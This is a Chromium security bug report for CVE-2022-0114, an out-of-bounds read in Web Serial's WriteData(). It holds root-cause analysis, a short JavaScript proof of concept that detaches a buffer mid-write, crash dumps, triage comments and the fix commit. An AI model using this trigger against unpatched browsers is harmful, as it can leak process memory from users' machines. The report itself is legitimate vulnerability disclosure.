Starred by 2 users

Owner:	reillyg@chromium.org
CC:	----
Status:	Fixed *(Closed)*
Components:	Blink>Serial
Modified:	Jul 29, 2022
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	----
OS:	Linux, Windows, Chrome, Mac, Lacros
Pri:	1
Type:	Bug-Security

Security_Impact-Stable
Security_Severity-Medium
Hotlist-Merge-Approved
reward-7500
allpublic
reward-inprocess
CVE_description-submitted
external_security_report
M-96
Target-96
FoundIn-95
merge-merged-4664
Merge-Merged-96
merge-merged-4692
merge-merged-97
LTS-Merge-Merged-96
Release-0-M97
CVE-2022-0114

Issue 1267627: Security: Web Serial - Out of bound read in SerialPortUnderlyingSink::WriteData().

Reported by loobe...@gmail.com on Sat, Nov 6, 2021, 6:57 PM EDT

Code

VULNERABILITY DETAILS

Specifically crafted HTML file can trigger Out of bound read in SerialPortUnderlyingSink::WriteData(). Only user agents with hardware serial device attached or virtual serial port installed are vulnerable to this bug, and user needs to click a button to select one serial port. However, these are normal configuration and required step for any legit use of web serial APIs. What may be also a bit interesting, is the memory content read is written to (and so is leaked to) serial port.

SerialPortUnderlyingSink is responsible for the outputting data from JavaScript to serial port.

When SerialPort.writable stream's write() method is executed in JS, SerialPortUnderlyingSink::WriteData() is called to write data to the underlying data pipe.

```
void SerialPortUnderlyingSink::WriteData() {
  ...
  DOMArrayPiece array_piece(buffer_source_);
  ...
  const uint8_t* data = array_piece.Bytes();
  const uint32_t length = static_cast<uint32_t>(array_piece.ByteLength());
       ...
  data += offset_;
  uint32_t num_bytes = length - offset_;

  MojoResult result =
        data_pipe_->WriteData(data, &num_bytes, MOJO_WRITE_DATA_FLAG_NONE);
  switch (result) {
       case MOJO_RESULT_OK:
         offset_ += num_bytes;
```

The underlying data_pipe_ has a certain capacity which is set to the bufferSize option from JS call SerialPort.open():

```
bool SerialPort::CreateDataPipe(mojo::ScopedDataPipeProducerHandle* producer,
                                mojo::ScopedDataPipeConsumerHandle* consumer) {
  MojoCreateDataPipeOptions options;
  ...
  options.capacity_num_bytes = buffer_size_;

  MojoResult result = mojo::CreateDataPipe(&options, *producer, *consumer);
```

Each time, the data pipe only accepts capacity_num_bytes of bytes. The completion of data writing is achieved by executing SerialPortUnderlyingSink::WriteData() multiple times. The offset_ is incremented by num_bytes (which is the capacity_num_bytes, also the bufferSize) each time.

First call of SerialPortUnderlyingSink::WriteData() is directly triggered from JS. Subsequent calls are triggered when the data pipe's ready signal comes:

```
void SerialPortUnderlyingSink::OnHandleReady(MojoResult result,
                                             const mojo::HandleSignalsState&) {
```

```
                                                    const mojo::HandleSignalsState&) {
  switch (result) {
      case MOJO_RESULT_OK:
        WriteData();
```

Between these calls, it's possible the array buffer view (buffer_source_) 's backing store is detached. the data pointer deducted from "array_piece.Bytes()" becomes null:

```
  void SerialPortUnderlyingSink::WriteData() {
    ...
    DOMArrayPiece array_piece(buffer_source_);
    ...
    const uint8_t* data = array_piece.Bytes();
        ...
    data += offset_;
```

After adding up the offset, the read addres is (0 + offset_). It's not null pointer dereference, but rather "null + changing offset". The offset can be bufferSize, or n * bufferSize.
It may be potentially expoited to read memory content from arbitrary address.

VERSION

Google Chrome 97.0.4688.4 (Official Build) dev (64-bit) (cohort: Dev Ramp up Cohort)
Revision a530a63b29bbb9542ca6a2ebdedf12339d70705c-refs/branch-heads/4688@{#9}
OS Windows 10 Version 21H1 (Build 19043.1288)
JavaScript V8 9.7.84

REPRODUCTION CASE (full server code in OOBR_WriteData_PoC_hw.js)

```
<body><button id="serialbtn">Select</button></body><script>
uInt8Array = new Uint8Array(47337281)
worker0 = new Worker("worker0.js");
serialbtn.addEventListener("click", function() {
    if (navigator.serial) navigator.serial.requestPort().then((port)=>{
        port.open({baudRate: 256000, bufferSize:1310}).then(() => {writer = port.writable.getWriter();
            (async t => {  writer.write(uInt8Array);})();
            navigator.serial.getPorts().then((ports) => {
                worker0.postMessage({payload:uInt8Array.buffer}, [uInt8Array.buffer]);
            });
        });
    });
});
</script>
```

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: tab
Crash State:

```
(478.5020): Access violation - code c0000005 (!!! second chance !!!)

chrome!memcpy_repmovs+0xe:
00007ff9`9be48dde f3a4          rep movs byte ptr [rdi],byte ptr [rsi]
0:186> r
```

```
9:186> r
rax=000001f16f4f0000 rbx=000000000000051e rcx=000000000000051e
rdx=fffffe0e90b1051e rsi=000000000000051e rdi=000001f16f4f0000
rip=00007ff99be48dde rsp=000000195c1fe4b8 rbp=000000000000051e
 r8=000000000000051e  r9=000000195c1fe568 r10=000000000000051e
r11=000001f16f4f0000 r12=000000195c1fe568 r13=0000000000000000
r14=00003df60003f848 r15=000000000000051e
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010200
chrome!memcpy_repmovs+0xe:
00007ff9`9be48dde f3a4          rep movs byte ptr [rdi],byte ptr [rsi]
9:186> k
 # Child-SP          RetAddr           Call Site
00 00000019`5c1fe4b8 00007ff9`9967c754 chrome!memcpy_repmovs+0xe
[d:\A01\_work\6\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 114]
01 00000019`5c1fe4d0 00007ff9`98339757 chrome!mojo::core::DataPipeProducerDispatcher::WriteData+0xf4
[C:\b\s\w\ir\cache\builder\src\mojo\core\data_pipe_producer_dispatcher.cc @ 147]
02 00000019`5c1fe540 00007ff9`98339670 chrome!mojo::core::Core::WriteData+0xd7
[C:\b\s\w\ir\cache\builder\src\mojo\core\core.cc @ 731]
03 00000019`5c1fe720 00007ff9`a0c82f9b chrome!MojoWriteDataImpl+0x20
[C:\b\s\w\ir\cache\builder\src\mojo\core\entrypoints.cc @ 143]
04 (Inline Function) --------`-------- chrome!mojo::DataPipeProducerHandle::WriteData+0x12
[C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\data_pipe.h @ 38]
05 00000019`5c1fe750 00007ff9`9baee183 chrome!blink::SerialPortUnderlyingSink::WriteData+0x9b
[C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\serial\serial_port_underlying_sink.cc @ 190]
06 (Inline Function) --------`-------- chrome!base::RepeatingCallback<void (unsigned int, const mojo::HandleSignalsState
&)>::Run+0x159 [C:\b\s\w\ir\cache\builder\src\base\callback.h @ 241]
07 (Inline Function) --------`-------- chrome!mojo::SimpleWatcher::OnHandleReady+0x314
[C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc @ 279]
08 (Inline Function) --------`-------- chrome!base::internal::FunctorTraits<void (mojo::SimpleWatcher::*)(int, unsigned int,
const mojo::HandleSignalsState &),void>::Invoke+0x362 [C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 569]
09 (Inline Function) --------`-------- chrome!base::internal::InvokeHelper<1,void>::MakeItSo+0x38e
[C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 769]
0a (Inline Function) --------`-------- chrome!base::internal::Invoker<base::internal::BindState<void
(mojo::SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState
&),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState>,void ()>::RunImpl+0x38e
[C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 822]
0b 00000019`5c1fe7d0 00007ff9`9b0abe6a chrome!base::internal::Invoker<base::internal::BindState<void
(mojo::SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState
&),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState>,void ()>::RunOnce+0x3b3
[C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 795]
0c (Inline Function) --------`-------- chrome!base::OnceCallback<void ()>::Run+0x17
[C:\b\s\w\ir\cache\builder\src\base\callback.h @ 142]
0d 00000019`5c1fe8b0 00007ff9`9b0aa43a chrome!base::TaskAnnotator::RunTaskImpl+0x18a
[C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc @ 157]
0e (Inline Function) --------`-------- chrome!base::TaskAnnotator::RunTask+0x3f0
[C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h @ 115]
0f (Inline Function) --------`--------
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0x5f6
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 354]
10 00000019`5c1fe960 00007ff9`99773c02

chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork+0x68a
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 261]
11 00000019`5c1fea60 00007ff9`987d8afa chrome!base::MessagePumpDefault::Run+0xa2
```

11 00000019`5c1fecc0 00007ff9`987d8efa chrome!base::MessagePumpDefault::Run+0xe2
[C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc @ 40]
12 00000019`5c1fed70 00007ff9`989d754d
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0x8a
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 461]
13 00000019`5c1fede0 00007ff9`98a15357 chrome!base::RunLoop::Run+0x1cd
[C:\b\s\w\ir\cache\builder\src\base\run_loop.cc @ 142]
14 00000019`5c1fef10 00007ff9`98a12fd9 chrome!content::RendererMain+0x2c7
[C:\b\s\w\ir\cache\builder\src\content\renderer\renderer_main.cc @ 266]
15 (Inline Function) --------`-------- chrome!content::RunOtherNamedProcessTypeMain+0xd0
[C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 670]
16 00000019`5c1ff0c0 00007ff9`98719d22 chrome!content::ContentMainRunnerImpl::Run+0x1c9
[C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1007]
17 (Inline Function) --------`-------- chrome!content::RunContentProcess+0x11d
[C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 390]
18 00000019`5c1ff190 00007ff9`98718f7a chrome!content::ContentMain+0x152
[C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 418]
19 00000019`5c1ff380 00007ff6`613a2c5c chrome!ChromeMain+0x18a
[C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc @ 175]
1a 00000019`5c1ff490 00007ff6`613a27ea chrome_exe!MainDllLoader::Launch+0x30c
[C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc @ 170]
1b 00000019`5c1ff710 00007ff6`61420592 chrome_exe!wWinMain+0xcca
[C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc @ 382]
1c (Inline Function) --------`-------- chrome_exe!invoke_main+0x21
[d:\A01_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 118]
1d 00000019`5c1ffb40 00007ffa`1e367034 chrome_exe!__scrt_common_main_seh+0x106
[d:\A01_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
1e 00000019`5c1ffb80 00007ffa`1e962651 KERNEL32!BaseThreadInitThunk+0x14
1f 00000019`5c1ffbb0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

OOBR_WriteData_PoC_hw.js
1.3 KB View Download

Comment 1 by sheriffbot on Sat, Nov 6, 2021, 6:59 PM EDT

Labels: external_security_report

Comment 2 by loobe...@gmail.com on Sat, Nov 6, 2021, 7:08 PM EDT

Also attached a PoC (OOBR_WriteData_PoC_hw_rsi0x121212.js) with read address control. In this PoC, the read address is bufferSize of which the range is restricted to 16MB from JS (const int kMaxBufferSize = 16 * 1024 * 1024; /* 16 MiB */). The read address can also be n * bufferSize though according to the above analysis, . However, I don't have time to explore it further.

(1c34.4cf0): Access violation - code c0000005 (!!! second chance !!!)
chrome!memcpy_repmovs+0xe:
00007ff9`9be48dde f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
9:188> r
rax=0000024fd4420000 rbx=0000000000121212 rcx=0000000000121212
rdx=fffffdb02bd01212 rsi=0000000000121212 rdi=0000024fd4420000

rip=00007ff99be48dde rsp=000000e60d3fe6a8 rbp=0000000000121212
r8=0000000000121212 r9=000000e60d3fe758 r10=0000000000121212
r11=0000024fd4420000 r12=000000e60d3fe758 r13=0000000000000000

r11=0000024fd4420000 r12=000000e6d3fe7758 r13=0000000000000000
r14=000069a000aafa48 r15=0000000000121212
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010200
chrome!memcpy_repmovs+0xe:
00007ff9`9be48dde f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
9:188> k
Child-SP RetAddr Call Site
00 000000e6`0d3fe6a8 00007ff9`9967c754 chrome!memcpy_repmovs+0xe
[d:\A01_work\6\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 114]
01 000000e6`0d3fe6c0 00007ff9`98339757 chrome!mojo::core::DataPipeProducerDispatcher::WriteData+0xf4
[C:\b\s\w\ir\cache\builder\src\mojo\core\data_pipe_producer_dispatcher.cc @ 147]
02 000000e6`0d3fe730 00007ff9`98339670 chrome!mojo::core::Core::WriteData+0xd7
[C:\b\s\w\ir\cache\builder\src\mojo\core\core.cc @ 731]
03 000000e6`0d3fe910 00007ff9`a0c82f9b chrome!MojoWriteDataImpl+0x20
[C:\b\s\w\ir\cache\builder\src\mojo\core\entrypoints.cc @ 143]
04 (Inline Function) --------`-------- chrome!mojo::DataPipeProducerHandle::WriteData+0x12
[C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\data_pipe.h @ 38]
05 000000e6`0d3fe940 00007ff9`9baee183 chrome!blink::SerialPortUnderlyingSink::WriteData+0x9b
[C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\serial\serial_port_underlying_sink.cc @ 190]
06 (Inline Function) --------`-------- chrome!base::RepeatingCallback<void (unsigned int, const mojo::HandleSignalsState
&)>::Run+0x159 [C:\b\s\w\ir\cache\builder\src\base\callback.h @ 241]
07 (Inline Function) --------`-------- chrome!mojo::SimpleWatcher::OnHandleReady+0x314
[C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc @ 279]
08 (Inline Function) --------`-------- chrome!base::internal::FunctorTraits<void (mojo::SimpleWatcher::*)(int, unsigned int,
const mojo::HandleSignalsState &),void>::Invoke+0x362 [C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 569]
09 (Inline Function) --------`-------- chrome!base::internal::InvokeHelper<1,void>::MakeItSo+0x38e
[C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 769]
0a (Inline Function) --------`-------- chrome!base::internal::Invoker<base::internal::BindState<void (mojo::SimpleWatcher::*)
(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned
int,mojo::HandleSignalsState>,void ()>::RunImpl+0x38e [C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 822]
0b 000000e6`0d3fe9c0 00007ff9`9b0abe6a chrome!base::internal::Invoker<base::internal::BindState<void
(mojo::SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState
&),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState>,void ()>::RunOnce+0x3b3
[C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 795]
0c (Inline Function) --------`-------- chrome!base::OnceCallback<void ()>::Run+0x17
[C:\b\s\w\ir\cache\builder\src\base\callback.h @ 142]
0d 000000e6`0d3feaa0 00007ff9`9b0aa43a chrome!base::TaskAnnotator::RunTaskImpl+0x18a
[C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc @ 157]
0e (Inline Function) --------`-------- chrome!base::TaskAnnotator::RunTask+0x3f0
[C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h @ 115]
0f (Inline Function) --------`--------
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0x5f6
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 354]
10 000000e6`0d3feb50 00007ff9`99773c02
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork+0x68a
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 261]
11 000000e6`0d3feeb0 00007ff9`987d8efa chrome!base::MessagePumpDefault::Run+0xe2
[C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc @ 40]
12 000000e6`0d3fef60 00007ff9`989d754d
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0x8a

[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 461]
13 000000e6`0d3fefd0 00007ff9`98a15357 chrome!base::RunLoop::Run+0x1cd
[C:\b\s\w\ir\cache\builder\src\base\run_loop.cc @ 142]

[C:\b\s\w\ir\cache\builder\src\base\run_loop.cc @ 142]
14 000000e6`0d3ff100 00007ff9`98a12fd9 chrome!content::RendererMain+0x2c7
[C:\b\s\w\ir\cache\builder\src\content\renderer\renderer_main.cc @ 266]
15 (Inline Function) --------`-------- chrome!content::RunOtherNamedProcessTypeMain+0xd0
[C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 670]
16 000000e6`0d3ff2b0 00007ff9`98719d22 chrome!content::ContentMainRunnerImpl::Run+0x1c9
[C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1007]
17 (Inline Function) --------`-------- chrome!content::RunContentProcess+0x11d
[C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 390]
18 000000e6`0d3ff380 00007ff9`98718f7a chrome!content::ContentMain+0x152
[C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 418]
19 000000e6`0d3ff570 00007ff6`613a2c5c chrome!ChromeMain+0x18a
[C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc @ 175]
1a 000000e6`0d3ff680 00007ff6`613a27ea chrome_exe!MainDllLoader::Launch+0x30c
[C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc @ 170]
1b 000000e6`0d3ff900 00007ff6`61420592 chrome_exe!wWinMain+0xcca
[C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc @ 382]
1c (Inline Function) --------`-------- chrome_exe!invoke_main+0x21
[d:\A01_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 118]
1d 000000e6`0d3ffd30 00007ffa`1e367034 chrome_exe!__scrt_common_main_seh+0x106
[d:\A01_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
1e 000000e6`0d3ffd70 00007ffa`1e962651 KERNEL32!BaseThreadInitThunk+0x14
1f 000000e6`0d3ffda0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

OOBR_WriteData_PoC_hw_rsi0x121212.js
1.3 KB View Download

Comment 3 by ClusterFuzz on Mon, Nov 8, 2021, 4:52 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5220627885391872.

Comment 4 by ClusterFuzz on Mon, Nov 8, 2021, 4:53 AM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5150922713661440.

Comment 5 by vakh@chromium.org on Mon, Nov 8, 2021, 5:11 AM EST

I'm unable to repro this on 929491-96.0.4664.0 and 920001-95.0.4638.0.

Comment 6 by vakh@chromium.org on Mon, Nov 8, 2021, 5:13 AM EST

I tried setting up a nodejs server and running both the js files (one at a time) to setup a server, then tried to open the localhost:12345 page, and click "Select"

On 95.0.4638.0, I'm shown a list of (I'm guessing) serial port numbers that I can connect to but connecting to any of them doesn't cause a failure.

On 95.0.4638.0, I'm not even shown the list of serial port numbers.

Comment 7 by vakh@chromium.org on Mon, Nov 8, 2021, 5:14 AM EST

Labels: Needs-Feedback

Is there a better way to repro this issue?

Comment 8 by loobe...@gmail.com on Mon, Nov 8, 2021, 5:55 AM EST

The above PoCs need a working serial port hardware attached to the computer.
I attached a new PoC that works with virtual com port driver "Null-modem emulator (com0com) ". The virtual driver can be downloaded from https://sourceforge.net/projects/com0com/ .

Installed with default options and you get a pair of virtual COM ports. One accepts writing while the other can be read.

Steps to repro are then:
1. node OOBR_WriteData_PoC_emulator.js
2. Click button "VirtualCom Output" to select one virtual COM port.
3. Click button 'VirtualCom Input' to select the other virtual COM port.
4. Chrome crashes:

Google Chrome 97.0.4688.4 (Official Build) dev (64-bit) (cohort: Dev Ramp up Cohort)
Revision a530a63b29bbb9542ca6a2ebdedf12339d70705c-refs/branch-heads/4688@{#9}
OS Windows 10 Version 21H1 (Build 19043.1288)
JavaScript V8 9.7.84

(387c.2a18): Access violation - code c0000005 (!!! second chance !!!)
chrome!memcpy_repmovs+0xe:
00007fff`a2618dde f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
10:203> r
rax=0000020974650000 rbx=000000000000051e rcx=000000000000051e
rdx=fffffdf68b9b0a3c rsi=0000000000000a3c rdi=0000020974650000
rip=00007fffa2618dde rsp=0000000e7e9fe4a8 rbp=000000000000051e
r8=000000000000051e r9=0000000e7e9fe558 r10=0000000000000a3c
r11=0000020974650000 r12=0000000e7e9fe558 r13=0000000000000000
r14=00001f0c0003ed48 r15=0000000000000a3c
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010200
chrome!memcpy_repmovs+0xe:
00007fff`a2618dde f3a4 rep movs byte ptr [rdi],byte ptr [rsi]
10:203> k
Child-SP RetAddr Call Site
00 0000000e`7e9fe4a8 00007fff`9fe4c754 chrome!memcpy_repmovs+0xe
[d:\A01_work\6\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 114]
01 0000000e`7e9fe4c0 00007fff`9eb09757 chrome!mojo::core::DataPipeProducerDispatcher::WriteData+0xf4
[C:\b\s\w\ir\cache\builder\src\mojo\core\data_pipe_producer_dispatcher.cc @ 147]
02 0000000e`7e9fe530 00007fff`9eb09670 chrome!mojo::core::Core::WriteData+0xd7
[C:\b\s\w\ir\cache\builder\src\mojo\core\core.cc @ 731]
03 0000000e`7e9fe710 00007fff`a7452f9b chrome!MojoWriteDataImpl+0x20
[C:\b\s\w\ir\cache\builder\src\mojo\core\entrypoints.cc @ 143]
04 (Inline Function) --------`-------- chrome!mojo::DataPipeProducerHandle::WriteData+0x12
[C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\data_pipe.h @ 38]
05 0000000e`7e9fe740 00007fff`a22be183 chrome!blink::SerialPortUnderlyingSink::WriteData+0x9b
[C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\serial\serial_port_underlying_sink.cc @ 190]
06 (Inline Function) --------`-------- chrome!base::RepeatingCallback<void (unsigned int, const mojo::HandleSignalsState &)>::Run+0x159 [C:\b\s\w\ir\cache\builder\src\base\callback.h @ 241]
07 (Inline Function) --------`-------- chrome!mojo::SimpleWatcher::OnHandleReady+0x314
[C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\system\simple_watcher.cc @ 279]
08 (Inline Function) --------`-------- chrome!base::internal::FunctorTraits<void (mojo::SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState &),void>::Invoke+0x362 [C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 569]
09 (Inline Function) --------`-------- chrome!base::internal::InvokeHelper<1,void>::MakeItSo+0x38a

09 (Inline Function) -------- -------- chrome!base::internal::InvokeHelper<1,void>::MakeItSo+0x38e
[C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 769]
0a (Inline Function) --------`-------- chrome!base::internal::Invoker<base::internal::BindState<void (mojo::SimpleWatcher::*)
(int, unsigned int, const mojo::HandleSignalsState &),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned
int,mojo::HandleSignalsState>,void ()>::RunImpl+0x38e [C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 822]
0b 0000000e`7e9fe7c0 00007fff`a187be6a chrome!base::internal::Invoker<base::internal::BindState<void
(mojo::SimpleWatcher::*)(int, unsigned int, const mojo::HandleSignalsState
&),base::WeakPtr<mojo::SimpleWatcher>,int,unsigned int,mojo::HandleSignalsState>,void ()>::RunOnce+0x3b3
[C:\b\s\w\ir\cache\builder\src\base\bind_internal.h @ 795]
0c (Inline Function) --------`-------- chrome!base::OnceCallback<void ()>::Run+0x17
[C:\b\s\w\ir\cache\builder\src\base\callback.h @ 142]
0d 0000000e`7e9fe8a0 00007fff`a187a43a chrome!base::TaskAnnotator::RunTaskImpl+0x18a
[C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.cc @ 157]
0e (Inline Function) --------`-------- chrome!base::TaskAnnotator::RunTask+0x3f0
[C:\b\s\w\ir\cache\builder\src\base\task\common\task_annotator.h @ 115]
0f (Inline Function) --------`--------
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0x5f6
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 354]
10 0000000e`7e9fe950 00007fff`9ff43c02
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork+0x68a
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 261]
11 0000000e`7e9fecb0 00007fff`9efa8efa chrome!base::MessagePumpDefault::Run+0xe2
[C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc @ 40]
12 0000000e`7e9fed60 00007fff`9f1a754d
chrome!base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0x8a
[C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 461]
13 0000000e`7e9fedd0 00007fff`9f1e5357 chrome!base::RunLoop::Run+0x1cd
[C:\b\s\w\ir\cache\builder\src\base\run_loop.cc @ 142]
14 0000000e`7e9fef00 00007fff`9f1e2fd9 chrome!content::RendererMain+0x2c7
[C:\b\s\w\ir\cache\builder\src\content\renderer\renderer_main.cc @ 266]
15 (Inline Function) --------`-------- chrome!content::RunOtherNamedProcessTypeMain+0xd0
[C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 670]
16 0000000e`7e9ff0b0 00007fff`9eee9d22 chrome!content::ContentMainRunnerImpl::Run+0x1c9
[C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc @ 1007]
17 (Inline Function) --------`-------- chrome!content::RunContentProcess+0x11d
[C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 390]
18 0000000e`7e9ff180 00007fff`9eee8f7a chrome!content::ContentMain+0x152
[C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc @ 418]
19 0000000e`7e9ff370 00007ff7`450a2c5c chrome!ChromeMain+0x18a
[C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc @ 175]
1a 0000000e`7e9ff480 00007ff7`450a27ea chrome_exe!MainDllLoader::Launch+0x30c
[C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc @ 170]
1b 0000000e`7e9ff700 00007ff7`45120592 chrome_exe!wWinMain+0xcca
[C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc @ 382]
1c (Inline Function) --------`-------- chrome_exe!invoke_main+0x21
[d:\A01_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 118]
1d 0000000e`7e9ffb30 00007ff8`27b27034 chrome_exe!__scrt_common_main_seh+0x106
[d:\A01_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288]
1e 0000000e`7e9ffb70 00007ff8`28282651 KERNEL32!BaseThreadInitThunk+0x14
1f 0000000e`7e9ffba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

OOBR_WriteData_PoC_emulator.js

1.6 KB View Download

Comment 9 by sheriffbot on Mon, Nov 8, 2021, 6:01 AM EST

Cc: vakh@chromium.org
Labels: -Needs-Feedback

Thank you for providing more feedback. Adding the requester to the cc list.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 by vakh@chromium.org on Mon, Nov 8, 2021, 4:32 PM EST

Cc: -vakh@chromium.org

Comment 11 by vakh@chromium.org on Mon, Nov 8, 2021, 4:34 PM EST

Status: Assigned (was: Unconfirmed)
Owner: reillyg@chromium.org
Components: Blink>Serial

Re #c8: Thanks.
Assiging to reillyg@ for now to help triage this further.

Comment 12 Deleted

Comment 13 by vakh@chromium.org on Mon, Nov 8, 2021, 4:36 PM EST

Note: I haven't been able to reproduce this yet. I haven't tried the steps in #c8.

Comment 14 by reillyg@chromium.org on Mon, Nov 8, 2021, 6:48 PM EST

Status: Started (was: Assigned)

It should be possible to reproduce this by modifying the "Can read[sic] a large amount of data" test in third_party/blink/web_tests/external/wpt/serial/serialPort_writable.https.any.js.

Comment 15 by Git Watcher on Wed, Nov 10, 2021, 9:48 PM EST

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/7ce1516b49e86430c9216d0df8e23a325104a8c5

commit 7ce1516b49e86430c9216d0df8e23a325104a8c5
Author: Reilly Grant <reillyg@chromium.org>
Date: Thu Nov 11 02:47:48 2021

serial: Check for detached buffers when writing

This change adds check in SerialPortUnderlyingSink::WriteData() to
ensure that the V8BufferSource being written to the Mojo data pipe has
not been detached since it was passed to the WritableStream.

~~Bug: 1267627~~
Change-Id: I63d48584eb0be1c1d87c27115900aa5c17931fcf
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3269348
